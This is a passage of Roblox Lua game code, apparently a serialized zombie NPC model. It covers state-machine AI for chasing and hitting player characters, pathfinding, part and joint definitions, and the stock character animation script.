PursueState.Init = function() end -- AttackState: Keep moving towards target and play attack animation. local AttackState = StateMachine.NewState() AttackState.Name = "Attack" local lastAttack = os.time() local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack) AttackState.Action = function() model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position) local now = os.time() if now - lastAttack > 3 then lastAttack = now attackTrack:Play() end end -- HuntState: Can't see target but NPC will move to target's last known location. -- Will eventually get bored and switch state. local HuntState = StateMachine.NewState() HuntState.Name = "Hunt" HuntState.Action = function() if ZombieTargetLastLocation then PathLib:MoveToTarget(model, ZombieTargetLastLocation) end end HuntState.Init = function() lastBored = os.time() + configs["BoredomDuration"] / 2 end -- CONDITION DEFINITIONS -- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and -- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed -- greater than 0 (this is to ignore inanimate objects that happen to use humanoids) local CanSeeTarget = StateMachine.NewCondition() CanSeeTarget.Name = "CanSeeTarget" CanSeeTarget.Evaluate = function() if model then -- Get list of all nearby Zombies and non-Zombie humanoids -- Zombie list is used to ignore zombies during later raycast local humanoids = HumanoidList:GetCurrent() local zombies = {} local characters = {} for _, object in pairs(humanoids) do if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then local torso = object.Parent:FindFirstChild("HumanoidRootPart") if torso then local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude if distance <= configs["AggroRange"] then if object.Parent.Name == "Drooling Zombie" then table.insert(zombies, object.Parent) else table.insert(characters, object.Parent) end end end end end local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"]) if target then ZombieTarget = target return true end -- -- Go through each valid target to see if within field of view and if there is -- -- clear line of sight. Field of view treated as wedge in front of character. -- for _, character in pairs(characters) do -- local toTarget = (character.HumanoidRootPart.Position - model.HumanoidRootPart.Position) -- toTarget = Vector3.new(toTarget.X, 0, toTarget.Z) -- local angle = math.acos(toTarget:Dot(model.HumanoidRootPart.CFrame.lookVector)/toTarget.magnitude) -- if math.deg(angle) < configs["FieldOfView"]/2 then -- ZombieTarget = character -- -- raycast to see if target is actually visible -- local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position)) -- local part, position = game.Workspace:FindPartOnRayWithIgnoreList(toTarget, zombies) -- if part and part.Parent == ZombieTarget then -- return true -- end -- ZombieTarget = nil -- end -- end end return false end CanSeeTarget.TransitionState = PursueState -- TargetDead: Check if target is dead. local TargetDead = StateMachine.NewCondition() TargetDead.Name = "TargetDead" TargetDead.Evaluate = function() if ZombieTarget and ZombieTarget.Humanoid then return ZombieTarget.Humanoid.Health <= 0 end return true end TargetDead.TransitionState = IdleState -- GotDamaged: Check if NPC has taken damage local lastHealth = model.Humanoid.Health local GotDamaged = StateMachine.NewCondition() GotDamaged.Name = "GotDamaged" GotDamaged.Evaluate = function() if model then if lastHealth > model.Humanoid.Health then return true end end return false end GotDamaged.TransitionState = SearchState -- GotBored: Used to provide random state change. local GotBored = StateMachine.NewCondition() GotBored.Name = "GotBored" GotBored.Evaluate = function() local now = os.time() if now - lastBored > configs["BoredomDuration"] then local roll = math.random() if roll < configs["ChanceOfBoredom"] then lastBored = now if GotBored.TransitionState == SearchState then GotBored.TransitionState = IdleState else GotBored.TransitionState = SearchState end return true end end return false end GotBored.TransitionState = IdleState -- LostTarget: Checks clear line of sight local LostTarget = StateMachine.NewCondition() LostTarget.Name = "LostTarget" LostTarget.Evaluate = function() if true then return false end if ZombieTarget then if (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position).magnitude > 10 then local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position)) local part, position = game.Workspace:FindPartOnRay(toTarget, model) if not part or part.Parent ~= ZombieTarget then --print("Lost target!") ZombieTargetLastLocation = ZombieTarget.HumanoidRootPart.Position ZombieTarget = nil return true end end end return false end LostTarget.TransitionState = HuntState local WithinRange = StateMachine.NewCondition() WithinRange.Name = "WithinRange" WithinRange.Evaluate = function() if ZombieTarget then local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude if distance < configs["AttackRange"] then --print("Within attack range!") return true end end return false end WithinRange.TransitionState = AttackState local OutsideRange = StateMachine.NewCondition() OutsideRange.Name = "OutsideRange" OutsideRange.Evaluate = function() if ZombieTarget then local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude if distance > configs["AttackRange"] then --print("Outside attack range!") return true end end return false end OutsideRange.TransitionState = PursueState table.insert(IdleState.Conditions, CanSeeTarget) table.insert(IdleState.Conditions, GotDamaged) table.insert(IdleState.Conditions, GotBored) table.insert(SearchState.Conditions, GotBored) table.insert(SearchState.Conditions, CanSeeTarget) table.insert(PursueState.Conditions, LostTarget) table.insert(PursueState.Conditions, WithinRange) table.insert(PursueState.Conditions, TargetDead) table.insert(AttackState.Conditions, OutsideRange) table.insert(AttackState.Conditions, TargetDead) table.insert(HuntState.Conditions, GotBored) table.insert(HuntState.Conditions, CanSeeTarget) -- Setup arms damage local canHit = true local lastHit = os.time() local function handleHit(other) if canHit then if other and other.Parent and other.Parent.Name ~= "Drooling Zombie" and other.Parent:FindFirstChild("Humanoid") then local enemy = other.Parent if enemy.Humanoid.WalkSpeed > 0 then enemy.Humanoid.Health = enemy.Humanoid.Health - configs["Damage"] canHit = false end end else local now = os.time() if now - lastHit > configs["DamageCooldown"] then lastHit = now canHit = true end end end local leftHitConnect, rightHitConnect leftHitConnect = model:FindFirstChild("Left Arm").Touched:connect(handleHit) rightHitConnect = model:FindFirstChild("Right Arm").Touched:connect(handleHit) --ZombieAI.Animate(model) --updateDisplay() --updateDisplay(model.BillboardGui.TextLabel, StateMachine.CurrentState) local thread = coroutine.create(function() while true do wait() -- calculate repulsion force local humanoids = HumanoidList:GetCurrent() local localZombies = {} for _, humanoid in pairs(humanoids) do if humanoid and humanoid ~= model.Humanoid and humanoid.Parent and humanoid.Parent:FindFirstChild("HumanoidRootPart") then local torso = humanoid.Parent:FindFirstChild("HumanoidRootPart") local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude if distance <= 2.5 then table.insert(localZombies, torso.Position) end end end local repulsionDirection = AIUtilities:GetRepulsionVector(model.HumanoidRootPart.Position, localZombies) if repulsionDirection.magnitude > 0 then --print("replusion direction: " .. tostring(repulsionDirection)) end model.HumanoidRootPart.RepulsionForce.force = repulsionDirection if StateMachine.CurrentState and model.Configurations.Debug.Value then model.BillboardGui.TextLabel.Visible = true model.BillboardGui.TextLabel.Text = StateMachine.CurrentState.Name end if not model.Configurations.Debug.Value then model.BillboardGui.TextLabel.Visible = false end end end) coroutine.resume(thread) StateMachine.SwitchState(IdleState) zombie.Stop = function() StateMachine.SwitchState(nil) end return zombie end return ZombieAI end)) ModuleScript230.Name = "ROBLOX_PathfindingLibrary" ModuleScript230.Parent = Configuration224 table.insert(cors,sandbox(ModuleScript230,function() local PathfindingUtility = {} local TargetOffsetMax = 10--5 local JumpThreshold = 1.5 --2.5 local NextPointThreshold = 4 local PathfindingService = game:GetService("PathfindingService") PathfindingService.EmptyCutoff = .3 function PathfindingUtility.new() local this = {} local currentTargetPos = nil local lastTargetPos = Vector3.new(math.huge, math.huge, math.huge) local path = nil local currentPointIndex = 1 function this:MoveToTarget(character, target) local targetOffset = (lastTargetPos - target).magnitude -- -- local targetOffsetVector = (lastTargetPos - target) -- if targetOffsetVector.magnitude < math.huge then -- targetOffsetVector = (lastTargetPos - target) * Vector3.new(1,0,1) -- end if targetOffset > TargetOffsetMax then --if targetOffsetVector.magnitude > TargetOffsetMax then --print("moveto") local startPoint = character.HumanoidRootPart.Position local humanoidState = character.Humanoid:GetState() if humanoidState == Enum.HumanoidStateType.Jumping or humanoidState == Enum.HumanoidStateType.Freefall then --print("this") local ray = Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -100, 0)) local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character) if hitPart then startPoint = hitPoint end end --print("making new path") local newTarget = target local ray = Ray.new(target + Vector3.new(0,-3,0), Vector3.new(0, -100, 0)) local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character) if hitPoint then if (hitPoint - target).magnitude > 4 then newTarget = newTarget * Vector3.new(1,0,1) + Vector3.new(0,3,0) end end --local newTarget = Vector3.new(1,0,1) * target + Vector3.new(0, 2, 0) path = PathfindingService:ComputeSmoothPathAsync(startPoint, newTarget, 500) if path.Status ~= Enum.PathStatus.Success then --print(tostring(path.Status)) end --path = PathfindingService:ComputeRawPathAsync(startPoint, target, 500) -- game.Workspace.Points:ClearAllChildren() -- local ps = path:GetPointCoordinates() -- for _, point in pairs(ps) do -- local part = Instance.new("Part", game.Workspace.Points) -- part.CanCollide = false -- part.Anchored = true -- part.FormFactor = Enum.FormFactor.Custom -- part.Size = Vector3.new(1,1,1) -- part.Position = point -- end currentPointIndex = 1 lastTargetPos = target end if path then local points = path:GetPointCoordinates() if currentPointIndex < #points then local currentPoint = points[currentPointIndex] local distance = (character.HumanoidRootPart.Position - currentPoint).magnitude if distance < NextPointThreshold then currentPointIndex = currentPointIndex + 1 end character.Humanoid:MoveTo(points[currentPointIndex]) if points[currentPointIndex].Y - character.HumanoidRootPart.Position.Y > JumpThreshold then character.Humanoid.Jump = true end else character.Humanoid:MoveTo(target) end end end return this end return PathfindingUtility end)) Configuration231.Name = "Configurations" Configuration231.Parent = Model185 IntValue232.Name = "Damage" IntValue232.Parent = Configuration231 IntValue232.Value = 30 BoolValue233.Name = "Debug" BoolValue233.Parent = Configuration231 IntValue234.Name = "FieldOfView" IntValue234.Parent = Configuration231 IntValue234.Value = 180 IntValue235.Name = "AggroRange" IntValue235.Parent = Configuration231 IntValue235.Value = 200 Configuration236.Name = "Animations" Configuration236.Parent = Model185 Animation237.Name = "Attack" Animation237.Parent = Configuration236 Animation237.AnimationId = "http://www.roblox.com/asset/?id=180416148" Animation238.Name = "Arms" Animation238.Parent = Configuration236 Animation238.AnimationId = "http://www.roblox.com/asset/?id=183294396" CharacterMesh239.Name = "Zombie Left Arm" CharacterMesh239.Parent = Model185 CharacterMesh239.BodyPart = Enum.BodyPart.LeftArm CharacterMesh239.MeshId = 37683097 CharacterMesh239.OverlayTextureId = 37686282 CharacterMesh240.Name = "Zombie Left Leg" CharacterMesh240.Parent = Model185 CharacterMesh240.BodyPart = Enum.BodyPart.LeftLeg CharacterMesh240.MeshId = 37683150 CharacterMesh240.OverlayTextureId = 37687646 CharacterMesh241.Name = "Zombie Right Arm" CharacterMesh241.Parent = Model185 CharacterMesh241.BodyPart = Enum.BodyPart.RightArm CharacterMesh241.MeshId = 37683174 CharacterMesh241.OverlayTextureId = 37686282 CharacterMesh242.Name = "Zombie Right Leg" CharacterMesh242.Parent = Model185 CharacterMesh242.BodyPart = Enum.BodyPart.RightLeg CharacterMesh242.MeshId = 37683227 CharacterMesh242.OverlayTextureId = 37687646 CharacterMesh243.Name = "Zombie torso" CharacterMesh243.Parent = Model185 CharacterMesh243.BodyPart = Enum.BodyPart.Torso CharacterMesh243.MeshId = 37683263 CharacterMesh243.OverlayTextureId = 37686282 Sound244.Name = "Moan" Sound244.Parent = Model185 Sound244.Pitch = 0.15000000596046 Sound244.PlaybackSpeed = 0.15000000596046 Sound244.Volume = 0.050000000745058 BodyColors245.Parent = Model185 BodyColors245.HeadColor = BrickColor.new("Camo") BodyColors245.HeadColor3 = Color3.new(0.227451, 0.490196, 0.0823529) BodyColors245.LeftArmColor = BrickColor.new("Earth green") BodyColors245.LeftArmColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors245.LeftLegColor = BrickColor.new("Earth green") BodyColors245.LeftLegColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors245.RightArmColor = BrickColor.new("Earth green") BodyColors245.RightArmColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors245.RightLegColor = BrickColor.new("Earth green") BodyColors245.RightLegColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors245.TorsoColor = BrickColor.new("Earth green") BodyColors245.TorsoColor3 = Color3.new(0.152941, 0.27451, 0.176471) Model246.Name = "Drooling Zombie" Model246.Parent = Model1 Part247.Name = "HumanoidRootPart" Part247.Parent = Model246 Part247.CFrame = CFrame.new(162.5, 2.99995422, -75, 0, 0, -1, 2.11850898e-33, 1, 0, 1, -2.11850916e-33, 0) Part247.Orientation = Vector3.new(0, -90, 0) Part247.Position = Vector3.new(162.5, 2.99995422, -75) Part247.Rotation = Vector3.new(0, -90, 0) Part247.Color = Color3.new(0.152941, 0.27451, 0.176471) Part247.Transparency = 1 Part247.Size = Vector3.new(2, 2, 1) Part247.BottomSurface = Enum.SurfaceType.Smooth Part247.BrickColor = BrickColor.new("Earth green") Part247.Material = Enum.Material.WoodPlanks Part247.TopSurface = Enum.SurfaceType.Smooth Part247.brickColor = BrickColor.new("Earth green") Part247.FormFactor = Enum.FormFactor.Symmetric Part247.formFactor = Enum.FormFactor.Symmetric Motor6D248.Name = "Root Hip" Motor6D248.Parent = Part247 Motor6D248.MaxVelocity = 0.10000000149012 Motor6D248.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D248.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D248.Part0 = Part247 Motor6D248.Part1 = Part250 Motor6D248.part1 = Part250 BodyForce249.Name = "RepulsionForce" BodyForce249.Parent = Part247 BodyForce249.Force = Vector3.new(0, 0, 0) BodyForce249.force = Vector3.new(0, 0, 0) Part250.Name = "Torso" Part250.Parent = Model246 Part250.CFrame = CFrame.new(162.5, 2.99995422, -75, 0, 0, -1, 2.11850898e-33, 1, 0, 1, -2.11850916e-33, 0) Part250.Orientation = Vector3.new(0, -90, 0) Part250.Position = Vector3.new(162.5, 2.99995422, -75) Part250.Rotation = Vector3.new(0, -90, 0) Part250.Color = Color3.new(0.156863, 0.498039, 0.278431) Part250.Size = Vector3.new(2, 2, 1) Part250.BottomSurface = Enum.SurfaceType.Smooth Part250.BrickColor = BrickColor.new("Dark green") Part250.Material = Enum.Material.WoodPlanks Part250.TopSurface = Enum.SurfaceType.Smooth Part250.brickColor = BrickColor.new("Dark green") Part250.FormFactor = Enum.FormFactor.Symmetric Part250.formFactor = Enum.FormFactor.Symmetric Motor6D251.Name = "Left Hip" Motor6D251.Parent = Part250 Motor6D251.MaxVelocity = 0.10000000149012 Motor6D251.C0 = CFrame.new(-1, -1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D251.C1 = CFrame.new(-0.5, 1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D251.Part0 = Part250 Motor6D251.Part1 = Part256 Motor6D251.part1 = Part256 Motor6D252.Name = "Right Hip" Motor6D252.Parent = Part250 Motor6D252.MaxVelocity = 0.10000000149012 Motor6D252.C0 = CFrame.new(1, -1, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D252.C1 = CFrame.new(0.5, 1, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D252.Part0 = Part250 Motor6D252.Part1 = Part257 Motor6D252.part1 = Part257 Motor6D253.Name = "Left Shoulder" Motor6D253.Parent = Part250 Motor6D253.MaxVelocity = 0.10000000149012 Motor6D253.C0 = CFrame.new(-1, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D253.C1 = CFrame.new(0.5, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D253.Part0 = Part250 Motor6D253.Part1 = Part258 Motor6D253.part1 = Part258 Motor6D254.Name = "Right Shoulder" Motor6D254.Parent = Part250 Motor6D254.MaxVelocity = 0.10000000149012 Motor6D254.C0 = CFrame.new(1, 0.5, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D254.C1 = CFrame.new(-0.5, 0.5, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D254.Part0 = Part250 Motor6D254.Part1 = Part259 Motor6D254.part1 = Part259 Motor6D255.Name = "Neck" Motor6D255.Parent = Part250 Motor6D255.MaxVelocity = 0.10000000149012 Motor6D255.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D255.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D255.Part0 = Part250 Motor6D255.Part1 = Part260 Motor6D255.part1 = Part260 Part256.Name = "Left Leg" Part256.Parent = Model246 Part256.CFrame = CFrame.new(162.5, 0.999954343, -75.5, 0, 0, -1, 2.11850898e-33, 0.999999881, 0, 1, -2.11850898e-33, 0) Part256.Orientation = Vector3.new(0, -90, 0) Part256.Position = Vector3.new(162.5, 0.999954343, -75.5) Part256.Rotation = Vector3.new(0, -90, 0) Part256.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part256.Size = Vector3.new(1, 2, 1) Part256.BottomSurface = Enum.SurfaceType.Smooth Part256.BrickColor = BrickColor.new("Bright blue") Part256.CanCollide = false Part256.Material = Enum.Material.WoodPlanks Part256.TopSurface = Enum.SurfaceType.Smooth Part256.brickColor = BrickColor.new("Bright blue") Part256.FormFactor = Enum.FormFactor.Symmetric Part256.formFactor = Enum.FormFactor.Symmetric Part257.Name = "Right Leg" Part257.Parent = Model246 Part257.CFrame = CFrame.new(162.5, 0.999954343, -74.5, 0, 0, -1, 2.11850898e-33, 0.999999881, 0, 1, -2.11850898e-33, 0) Part257.Orientation = Vector3.new(0, -90, 0) Part257.Position = Vector3.new(162.5, 0.999954343, -74.5) Part257.Rotation = Vector3.new(0, -90, 0) Part257.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part257.Size = Vector3.new(1, 2, 1) Part257.BottomSurface = Enum.SurfaceType.Smooth Part257.BrickColor = BrickColor.new("Bright blue") Part257.CanCollide = false Part257.Material = Enum.Material.WoodPlanks Part257.TopSurface = Enum.SurfaceType.Smooth Part257.brickColor = BrickColor.new("Bright blue") Part257.FormFactor = Enum.FormFactor.Symmetric Part257.formFactor = Enum.FormFactor.Symmetric Part258.Name = "Left Arm" Part258.Parent = Model246 Part258.CFrame = CFrame.new(162.5, 2.99995422, -76.5, 0, 0, -1, 2.11850898e-33, 0.999999881, 0, 1, -2.11850898e-33, 0) Part258.Orientation = Vector3.new(0, -90, 0) Part258.Position = Vector3.new(162.5, 2.99995422, -76.5) Part258.Rotation = Vector3.new(0, -90, 0) Part258.Color = Color3.new(0.992157, 0.917647, 0.552941) Part258.Size = Vector3.new(1, 2, 1) Part258.BottomSurface = Enum.SurfaceType.Smooth Part258.BrickColor = BrickColor.new("Cool yellow") Part258.CanCollide = false Part258.Material = Enum.Material.WoodPlanks Part258.TopSurface = Enum.SurfaceType.Smooth Part258.brickColor = BrickColor.new("Cool yellow") Part258.FormFactor = Enum.FormFactor.Symmetric Part258.formFactor = Enum.FormFactor.Symmetric Part259.Name = "Right Arm" Part259.Parent = Model246 Part259.CFrame = CFrame.new(162.5, 2.99995422, -73.5, 0, 0, -1, 2.11850898e-33, 0.999999881, 0, 1, -2.11850898e-33, 0) Part259.Orientation = Vector3.new(0, -90, 0) Part259.Position = Vector3.new(162.5, 2.99995422, -73.5) Part259.Rotation = Vector3.new(0, -90, 0) Part259.Color = Color3.new(0.992157, 0.917647, 0.552941) Part259.Size = Vector3.new(1, 2, 1) Part259.BottomSurface = Enum.SurfaceType.Smooth Part259.BrickColor = BrickColor.new("Cool yellow") Part259.CanCollide = false Part259.Material = Enum.Material.WoodPlanks Part259.TopSurface = Enum.SurfaceType.Smooth Part259.brickColor = BrickColor.new("Cool yellow") Part259.FormFactor = Enum.FormFactor.Symmetric Part259.formFactor = Enum.FormFactor.Symmetric Part260.Name = "Head" Part260.Parent = Model246 Part260.CFrame = CFrame.new(162.5, 4.49995422, -75, 0, 0, -1, 2.11850898e-33, 1, 0, 1, -2.11850916e-33, 0) Part260.Orientation = Vector3.new(0, -90, 0) Part260.Position = Vector3.new(162.5, 4.49995422, -75) Part260.Rotation = Vector3.new(0, -90, 0) Part260.Color = Color3.new(0.992157, 0.917647, 0.552941) Part260.Size = Vector3.new(2, 1, 1) Part260.BottomSurface = Enum.SurfaceType.Smooth Part260.BrickColor = BrickColor.new("Cool yellow") Part260.Material = Enum.Material.WoodPlanks Part260.TopSurface = Enum.SurfaceType.Smooth Part260.brickColor = BrickColor.new("Cool yellow") Part260.FormFactor = Enum.FormFactor.Symmetric Part260.formFactor = Enum.FormFactor.Symmetric Decal261.Name = "Face" Decal261.Parent = Part260 Decal261.Texture = "http://www.roblox.com/asset/?id=7074882" SpecialMesh262.Parent = Part260 SpecialMesh262.Scale = Vector3.new(1.25, 1.25, 1.25) Humanoid263.Parent = Model246 Humanoid263.LeftLeg = Part256 Humanoid263.RightLeg = Part257 Humanoid263.Torso = Part247 Humanoid263.WalkSpeed = 10 Script264.Name = "Animate" Script264.Parent = Model246 table.insert(cors,sandbox(Script264,function() function waitForChild(parent, childName) local child = parent:findFirstChild(childName) if child then return child end while true do child = parent.ChildAdded:wait() if child.Name==childName then return child end end end local Figure = script.Parent local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Humanoid") local pose = "Standing" local currentAnim = "" local currentAnimTrack = nil local currentAnimKeyframeHandler = nil local currentAnimSpeed = 1.0 local animTable = {} local animNames = { idle = { { id = "http://www.roblox.com/asset/?id=125750544", weight = 9 }, { id = "http://www.roblox.com/asset/?id=125750618", weight = 1 } }, walk = { { id = "http://www.roblox.com/asset/?id=125749145", weight = 10 } }, run = { { id = "run.xml", weight = 10 } }, jump = { { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 } }, fall = { { id = "http://www.roblox.com/asset/?id=125750759", weight = 10 } }, climb = { { id = "http://www.roblox.com/asset/?id=125750800", weight = 10 } }, toolnone = { { id = "http://www.roblox.com/asset/?id=125750867", weight = 10 } }, toolslash = { { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 } -- { id = "slash.xml", weight = 10 } }, toollunge = { { id = "http://www.roblox.com/asset/?id=129967478", weight = 10 } }, wave = { { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 } }, point = { { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 } }, dance = { { id = "http://www.roblox.com/asset/?id=130018893", weight = 10 }, { id = "http://www.roblox.com/asset/?id=132546839", weight = 10 }, { id = "http://www.roblox.com/asset/?id=132546884", weight = 10 } }, dance2 = { { id = "http://www.roblox.com/asset/?id=160934142", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934298", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934376", weight = 10 } }, dance3 = { { id = "http://www.roblox.com/asset/?id=160934458", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934530", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934593", weight = 10 } }, laugh = { { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 } }, cheer = { { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 } }, } -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false} math.randomseed(tick()) function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} -- check for config values local config = script:FindFirstChild(name) if (config ~= nil) then -- print("Loading anims " .. name) table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 1 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end)) animTable[name][idx] = {} animTable[name][idx].anim = childPart local weightObject = childPart:FindFirstChild("Weight") if (weightObject == nil) then animTable[name][idx].weight = 1 else animTable[name][idx].weight = weightObject.Value end animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")") idx = idx + 1 end end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")") end end end -- Setup animation objects function scriptChildModified(child) local fileList = animNames[child.Name] if (fileList ~= nil) then configureAnimationSet(child.Name, fileList) end end script.ChildAdded:connect(scriptChildModified) script.ChildRemoved:connect(scriptChildModified) for name, fileList in pairs(animNames) do configureAnimationSet(name, fileList) end -- ANIMATION -- declarations local toolAnim = "None" local toolAnimTime = 0 local jumpAnimTime = 0 local jumpAnimDuration = 0.3 local toolTransitionTime = 0.1 local fallTransitionTime = 0.3 local jumpMaxLimbVelocity = 0.75 -- functions function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end return oldAnim end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end function keyFrameReachedFunc(frameName) if (frameName == "End") then -- print("Keyframe : ".. frameName) local repeatAnim = stopAllAnimations() local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.0, Humanoid) setAnimationSpeed(animSpeed) end end -- Preload animations function playAnimation(animName, transitionTime, humanoid) local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil) if (animName ~= currentAnim and not idleFromEmote) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end currentAnimSpeed = 1.0 local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end -- print(animName .. " " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end ------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- local toolAnimName = "" local toolAnimTrack = nil local currentToolAnimKeyframeHandler = nil function toolKeyFrameReachedFunc(frameName) if (frameName == "End") then -- print("Keyframe : ".. frameName) local repeatAnim = stopToolAnimations() playToolAnimation(repeatAnim, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid) if (animName ~= toolAnimName) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack toolAnimTrack = humanoid:LoadAnimation(anim) -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end ------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- function onRunning(speed) if speed>0.01 then playAnimation("walk", 0.1, Humanoid) pose = "Running" else playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = 